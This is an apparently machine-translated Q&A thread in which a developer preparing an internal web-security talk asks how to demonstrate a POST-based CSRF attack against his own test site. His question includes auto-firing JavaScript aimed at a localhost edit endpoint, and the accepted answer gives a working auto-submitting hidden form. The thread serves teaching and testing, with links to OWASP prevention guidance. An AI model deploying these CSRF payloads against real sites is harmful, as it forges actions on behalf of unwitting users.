2011-07-25 15 views
15

私は、企業内の他の人々にウェブセキュリティの紹介をしています。CSRF攻撃を実証する方法

私はこの攻撃に対して脆弱な小さなウェブサイトを作成しました。このウェブサイトには私たちのネットワーク上でしかアクセスできません。

私は今、この攻撃を悪用しようとしているが、私は一つの質問しました:POSTフォームでこれを行うにはどのように

を?

私はGETクエリでこれをやっても問題はありませんが、POSTで、私は同じホストで自分のコードをホストしていればjavascriptでこれをやろうとしていますが、より現実的であるように別のホストにコードすると、クロスドメインリクエストであるためブロックされます。

これらのPOSTバーをどのように送信する必要がありますか?

ありがとうございました!

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
<title>CSRF attack demo</title> 
<script type="text/javascript"> 
function getHTTPObject() { 
     var http = false; 
     //Use IE's ActiveX items to load the file. 
     if(typeof ActiveXObject != 'undefined') { 
      try {http = new ActiveXObject("Msxml2.XMLHTTP");} 
      catch (e) { 
       try {http = new ActiveXObject("Microsoft.XMLHTTP");} 
       catch (E) {http = false;} 
      } 
     //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document. 
     } else if (window.XMLHttpRequest) { 
      try {http = new XMLHttpRequest();} 
      catch (e) {http = false;} 
     } 
     return http; 
    } 
function post_to_url(path, params, method) { 
    method = method || "post"; // Set method to post by default, if not specified. 

    // The rest of this code assumes you are not using a library. 
    // It can be made less wordy if you use one. 
    var form = document.createElement("form"); 
    form.setAttribute("method", method); 
    form.setAttribute("action", path); 

    for(var key in params) { 
     var hiddenField = document.createElement("input"); 
     hiddenField.setAttribute("type", "hidden"); 
     hiddenField.setAttribute("name", key); 
     hiddenField.setAttribute("value", params[key]); 

     form.appendChild(hiddenField); 
    } 

    document.body.appendChild(form); 
    form.submit(); 
} 

function postToUrlBackground(path, params){ 
    var http = getHTTPObject(); 

    http.open("POST", path, true); 

    //Send the proper header information along with the request 
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
    http.setRequestHeader("Content-length", params.length); 
    http.setRequestHeader("Connection", "close"); 

    http.onreadystatechange = function() {//Call a function when the state changes. 
     if(http.readyState == 4 && http.status == 200) { 
      //alert("Response received"); 
     } 
    } 
    http.send(params); 
} 
function TryAttack(){ 
    //alert("Sending"); 
    postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE"); 
    //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" ); 
    //alert("sent"); 
} 
</script> 
</head> 
<body onload="TryAttack()"> 
<img src=image.png /> 
</body> 
</html> 

答えて

22

あなただけaction方法POSTFORMを作成し、あなたの脆弱アプリ(すなわち、フォームが送信されている)です。その後、そのページにjavascriptで提出します。

このよう

<html><body> 

    <form name="csrf_form" action="http://VULNERABLE_APP/csrf.php" method="POST"> 
    <input type="hidden" name="csrf_param" value="POST_ATTACK"> 
    </form> 

    <script type="text/javascript">document.csrf_form.submit();</script> 
</body></html> 

あなたがそのページを開いたとき、これは、攻撃者のホス​​トから自分の脆弱なアプリケーションにPOSTを提出します。

+2

これは私が参照してください、そして、私たちはこのようなiframeにこれがリダイレクトされているのを見ていないのですか? – J4N

+1

それは素晴らしい作品:)私はiframe + htaccessでそれを累積します:) – J4N

+0

うわー、これは私に脆弱性をテストするためにとても有用でした。エンドポイントが期待しているデータを攻撃者が知っている場合は、それらが入っています。予想されるフォームの値を知っているので、私はこれをすぐに実証することができました。偽造防止用のトークンを使用してブロックします。とても有難い。 –

10

以下の記事および実施例は、あなたがCSRF攻撃のデモを支援する必要があります

は、ここに私の現在のコードです。 StackOverflowの上

http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html

CSRF防止

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

そして、この質問。 「他のホスト」(アタッカー)で Basic cookie & CSRF question

+2

私はあなたの最初のリンクを見ました(既にもう2つを読んでいます)。 問題はあなたのリンクで、彼がWebサービスを使用していることです。その後、彼はクロスサイトリクエストの問題を持っていません。しかし、私は標準的なポストフォームを使用する必要があります – J4N

+0

@ニックズ内容はすばらしかった、あなたのために+1 – ScoRpion

関連する問題